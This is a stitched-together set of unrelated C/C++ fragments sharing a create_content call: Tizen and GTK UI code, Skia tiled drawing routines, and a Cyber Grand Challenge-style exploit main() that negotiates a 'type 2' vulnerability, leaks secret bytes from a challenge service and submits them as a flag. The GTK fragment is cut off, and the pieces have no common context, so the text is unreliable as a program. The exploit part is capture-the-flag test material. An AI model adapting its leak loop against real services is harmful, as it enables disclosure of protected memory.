static bool view6_load_cb(ui_standard_view *view, void *data) { Evas_Object *content = NULL; Evas_Object *base = NULL; //Get a base object from view. base = ui_view_get_base(view); if (!base) { dlog_print(DLOG_ERROR, LOG_TAG, "failed to get a view base object"); return false; } //Create and set a main content. content = create_content(base, "ViewMgr Demo<br>Toolbar", prev_btn_clicked_cb, next_btn_clicked_cb); if (!content) return false; Elm_Toolbar *toolbar = create_toolbar(base, "toolbar_with_title"); if (!toolbar) return false; if (!ui_view_set_content(view, content) || !ui_standard_view_set_title(view, "Page6") || !ui_standard_view_set_toolbar(view, toolbar)) { dlog_print(DLOG_ERROR, LOG_TAG, "failed to set view property"); return false; } return true; }
guint32 create_child_plug (guint32 xid, gboolean local) { GtkWidget *window; GtkWidget *content; window = gtk_plug_new (xid); g_signal_connect (window, "destroy", local ? G_CALLBACK (local_destroy) : G_CALLBACK (remote_destroy), NULL); gtk_container_set_border_width (GTK_CONTAINER (window), 0); content = create_content (GTK_WINDOW (window), local); gtk_container_add (GTK_CONTAINER (window), content); gtk_widget_show_all (window); if (GTK_WIDGET_REALIZED (window)) #if defined (GDK_WINDOWING_X11) return GDK_WINDOW_XID (window->window); #elif defined (GDK_WINDOWING_WIN32) return (guint32) GDK_WINDOW_HWND (window->window); #endif else return 0;
// Draw the content into a single canvas static void simple(SkCanvas* finalCanvas, SkMultiPictureDraw* mpd, PFContentMtd pfGen, const SkPicture* pictures[kNumPictures], SkTArray<ComposeStep> *composeSteps) { ComposeStep& step = composeSteps->push_back(); step.fSurf = create_compat_surface(finalCanvas, kPicWidth, kPicHeight); SkCanvas* subCanvas = step.fSurf->getCanvas(); create_content(mpd, pfGen, pictures, subCanvas, SkMatrix::I()); }
// Draw the content into multiple canvases/tiles static void tiled(SkCanvas* finalCanvas, SkMultiPictureDraw* mpd, PFContentMtd pfGen, const SkPicture* pictures[kNumPictures], SkTArray<ComposeStep> *composeSteps) { const int kNumTilesX = 2; const int kNumTilesY = 2; const int kTileWidth = kPicWidth / kNumTilesX; const int kTileHeight = kPicHeight / kNumTilesY; SkASSERT(kPicWidth == kNumTilesX * kTileWidth); SkASSERT(kPicHeight == kNumTilesY * kTileHeight); const SkColor colors[kNumTilesX][kNumTilesY] = { { SK_ColorCYAN, SK_ColorMAGENTA }, { SK_ColorYELLOW, SK_ColorGREEN } }; for (int y = 0; y < kNumTilesY; ++y) { for (int x = 0; x < kNumTilesX; ++x) { ComposeStep& step = composeSteps->push_back(); step.fX = SkIntToScalar(x*kTileWidth); step.fY = SkIntToScalar(y*kTileHeight); step.fPaint = new SkPaint; step.fPaint->setColorFilter( SkColorFilter::MakeModeFilter(colors[x][y], SkBlendMode::kModulate)); step.fSurf = create_compat_surface(finalCanvas, kTileWidth, kTileHeight); SkCanvas* subCanvas = step.fSurf->getCanvas(); const SkMatrix trans = SkMatrix::MakeTrans(-SkIntToScalar(x*kTileWidth), -SkIntToScalar(y*kTileHeight)); create_content(mpd, pfGen, pictures, subCanvas, trans); } } }
int main(void) { char *send_buf = NULL; // negotiate type 2 vuln on fd 3 unsigned int neg[1] = {2}; // vals[0] == type2_addr, vals[1] == type2_size, vals[2] == type2_length unsigned int vals[3] = {0}; if (sizeof(neg) != send_bytes(3, (const char *)neg, sizeof(neg))) { _terminate(4); } if (sizeof(vals) != recv_bytes(3, (char *)vals, sizeof(vals))) { _terminate(5); } // define random CONTENT_LEN between 10 and 255 rand(&CONTENT_LEN, 1); if (10 > CONTENT_LEN) { CONTENT_LEN += 10; } #ifdef DEBUG fprintf(stderr, "CONTENT LEN...%i.\n", CONTENT_LEN); #endif if (0 != allocate(CONTENT_LEN, 0, (void **)&send_buf)) { _terminate(6); } cgc_memset(secret, 0, RAND_PG_SZ); cgc_memset(found, 0, RAND_PG_SZ); // loop until have enough consecutive bytes while (get_consecutive_cnt() < vals[2]) { cgc_memset(send_buf, 0, CONTENT_LEN); get_gimme_banner(); create_content(send_buf); // set offset // caution: this might insert TERM value into send_buf; // but it shouldn't because index 3 will be recovered // at the same time as index 0, so it should skip index 3. *(unsigned short *)send_buf = get_first_empty_offset(); send_content(send_buf); get_done_banner(); process_result(send_buf); } if (0 != deallocate(send_buf, CONTENT_LEN)) { _terminate(7); } #ifdef DEBUG fprintf(stderr, "SUBMIT FLAG...\n"); #endif // submit secret bytes #ifdef DEBUG char *s_ptr = secret; fprintf(stderr, "FLAG: "); for (unsigned int i = 0; i < vals[2]; i++) { fprintf(stderr, "%02x", (unsigned char) *s_ptr++); } fprintf(stderr, "\n"); #endif if (vals[2] != send_bytes(3, secret, vals[2])) { _terminate(10); } #ifdef DEBUG fprintf(stderr, "sent\n"); #endif }